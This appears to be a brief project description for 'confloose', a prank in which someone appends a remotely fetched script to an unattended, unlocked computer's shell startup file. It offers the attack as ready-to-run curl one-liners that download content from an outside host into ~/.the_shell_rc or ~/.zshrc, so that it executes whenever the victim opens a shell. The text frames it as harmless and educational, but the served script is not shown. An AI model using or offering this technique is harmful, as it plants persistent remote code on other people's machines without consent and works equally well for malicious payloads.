A confloose (or "loose configuration") is a collection of the worst a startup script can do for you.
There has been a prank going on for quite some time in my IT school -- when someone leaves his computer unattended, and without locking it, one would append a script to the victim's shell startup file.
The deal is to put really annoying things right off the bat while not harming the computer and the data on it -- this prank is meant as a lesson (you should not leave your computer unattended in public space), and a fun challenge (at least for the one watching from afar)
curl "http://confloo.se/hard" >> ~/.the_shell_rc
So, as an example, confloosing someone using zsh :
curl "http://confloo.se/hard" >> ~/.zshrc